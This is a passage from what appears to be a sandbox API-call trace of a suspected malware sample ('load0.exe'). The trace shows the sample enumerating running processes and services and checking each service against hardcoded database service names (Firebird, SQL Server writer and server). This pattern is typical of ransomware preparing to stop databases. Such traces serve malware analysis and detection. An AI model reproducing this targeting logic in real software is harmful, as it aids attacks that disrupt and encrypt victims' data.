(dwFlags=0x2, th32ProcessID=0x0) returned 0x11bc [0285.226] Process32FirstW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0285.227] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0285.228] lstrlenW (lpString="System") returned 6 [0285.228] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0285.228] lstrlenW (lpString="smss.exe") returned 8 [0285.228] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.229] lstrlenW (lpString="csrss.exe") returned 9 [0285.229] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0285.230] lstrlenW (lpString="wininit.exe") returned 11 [0285.230] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0285.230] lstrlenW (lpString="csrss.exe") returned 9 [0285.231] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0285.231] lstrlenW (lpString="winlogon.exe") returned 12 [0285.231] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0285.232] lstrlenW (lpString="services.exe") returned 12 [0285.232] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0285.233] lstrlenW (lpString="lsass.exe") returned 9 [0285.233] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.233] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.233] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0285.234] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0285.234] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.235] lstrlenW (lpString="svchost.exe") returned 11 [0285.235] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.235] lstrlenW (lpString="svchost.exe") returned 11 [0285.235] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0285.236] lstrlenW (lpString="dwm.exe") returned 7 [0285.236] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.244] lstrlenW (lpString="svchost.exe") returned 11 [0285.244] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.244] lstrlenW (lpString="svchost.exe") returned 11 [0285.244] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.245] lstrlenW (lpString="svchost.exe") returned 11 [0285.245] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.246] lstrlenW (lpString="svchost.exe") returned 11 [0285.246] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.246] lstrlenW (lpString="svchost.exe") returned 11 [0285.247] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.247] lstrlenW (lpString="svchost.exe") returned 11 [0285.247] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.248] lstrlenW (lpString="svchost.exe") returned 11 [0285.248] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.249] lstrlenW (lpString="svchost.exe") returned 11 [0285.249] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.249] lstrlenW (lpString="svchost.exe") returned 11 [0285.249] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.250] lstrlenW (lpString="svchost.exe") returned 11 [0285.250] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0285.251] lstrlenW (lpString="spoolsv.exe") returned 11 [0285.251] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.252] lstrlenW (lpString="svchost.exe") returned 11 [0285.252] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0285.252] lstrlenW (lpString="audiodg.exe") returned 11 [0285.252] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0285.253] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0285.253] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0285.254] lstrlenW (lpString="Memory Compression") returned 18 [0285.254] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0285.254] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0285.255] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0285.255] lstrlenW (lpString="sihost.exe") returned 10 [0285.255] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.256] lstrlenW (lpString="svchost.exe") returned 11 [0285.256] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0285.257] lstrlenW (lpString="taskhostw.exe") returned 13 [0285.257] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0285.257] lstrlenW (lpString="msoia.exe") returned 9 [0285.257] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0285.258] lstrlenW (lpString="explorer.exe") returned 12 [0285.258] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0285.259] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0285.259] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0285.259] lstrlenW (lpString="SearchUI.exe") returned 12 [0285.259] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0285.260] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0285.260] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0285.261] lstrlenW (lpString="load0.exe") returned 9 [0285.261] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0285.261] lstrlenW (lpString="load0.exe") returned 9 [0285.262] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0285.262] lstrlenW (lpString="svchost.exe") returned 11 [0285.262] Process32NextW (in: hSnapshot=0x11bc, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0285.263] CloseHandle (hObject=0x11bc) returned 1 [0285.263] Sleep (dwMilliseconds=0x1f4) [0285.833] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64640 [0285.833] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0285.834] GetLastError () returned 0xea [0285.834] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1d10) returned 0x3faf028 [0285.834] EnumServicesStatusExW (in: hSCManager=0x3f64640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3faf028, cbBufSize=0x1d10, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3faf028, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0285.835] CloseServiceHandle (hSCObject=0x3f64640) returned 1 [0285.835] lstrlenW (lpString="Appinfo") returned 7 [0285.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0285.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0285.835] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0285.835] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0285.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0285.835] lstrlenW (lpString="AppXSvc") returned 7 [0285.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0285.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0285.835] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0285.835] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0285.835] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0285.835] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0285.835] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.835] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0285.836] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0285.836] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0285.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0285.836] lstrlenW (lpString="Audiosrv") returned 8 [0285.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0285.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0285.836] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0285.836] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0285.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0285.836] lstrlenW (lpString="BFE") returned 3 [0285.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0285.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0285.836] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0285.836] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0285.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0285.836] lstrlenW (lpString="BITS") returned 4 [0285.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0285.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0285.836] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0285.836] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0285.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0285.836] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0285.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0285.836] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0285.836] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0285.836] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0285.836] lstrlenW (lpString="CDPSvc") returned 6 [0285.836] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0285.836] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0285.837] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0285.837] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0285.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0285.837] lstrlenW (lpString="ClickToRunSvc") returned 13 [0285.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0285.837] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0285.837] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0285.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0285.837] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0285.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0285.837] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0285.837] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0285.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0285.837] lstrlenW (lpString="CryptSvc") returned 8 [0285.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0285.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0285.837] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0285.837] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0285.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0285.837] lstrlenW (lpString="DcomLaunch") returned 10 [0285.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0285.837] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0285.837] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0285.837] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0285.837] lstrlenW (lpString="DeviceAssociationService") returned 24 [0285.837] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.837] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0285.838] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0285.838] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0285.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0285.838] lstrlenW (lpString="Dhcp") returned 4 [0285.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0285.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0285.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0285.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0285.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0285.838] lstrlenW (lpString="Dnscache") returned 8 [0285.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0285.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0285.838] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0285.838] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0285.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0285.838] lstrlenW (lpString="DPS") returned 3 [0285.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0285.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0285.838] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0285.838] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0285.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0285.838] lstrlenW (lpString="DusmSvc") returned 7 [0285.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0285.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0285.838] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0285.838] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0285.838] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0285.838] lstrlenW (lpString="EventLog") returned 8 [0285.838] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0285.838] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0285.839] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0285.839] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0285.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0285.839] lstrlenW (lpString="EventSystem") returned 11 [0285.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0285.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0285.839] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0285.839] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0285.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0285.839] lstrlenW (lpString="FontCache") returned 9 [0285.839] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0285.839] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0285.839] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0285.839] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0285.839] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0285.839] lstrlenW (lpString="gpsvc") returned 5 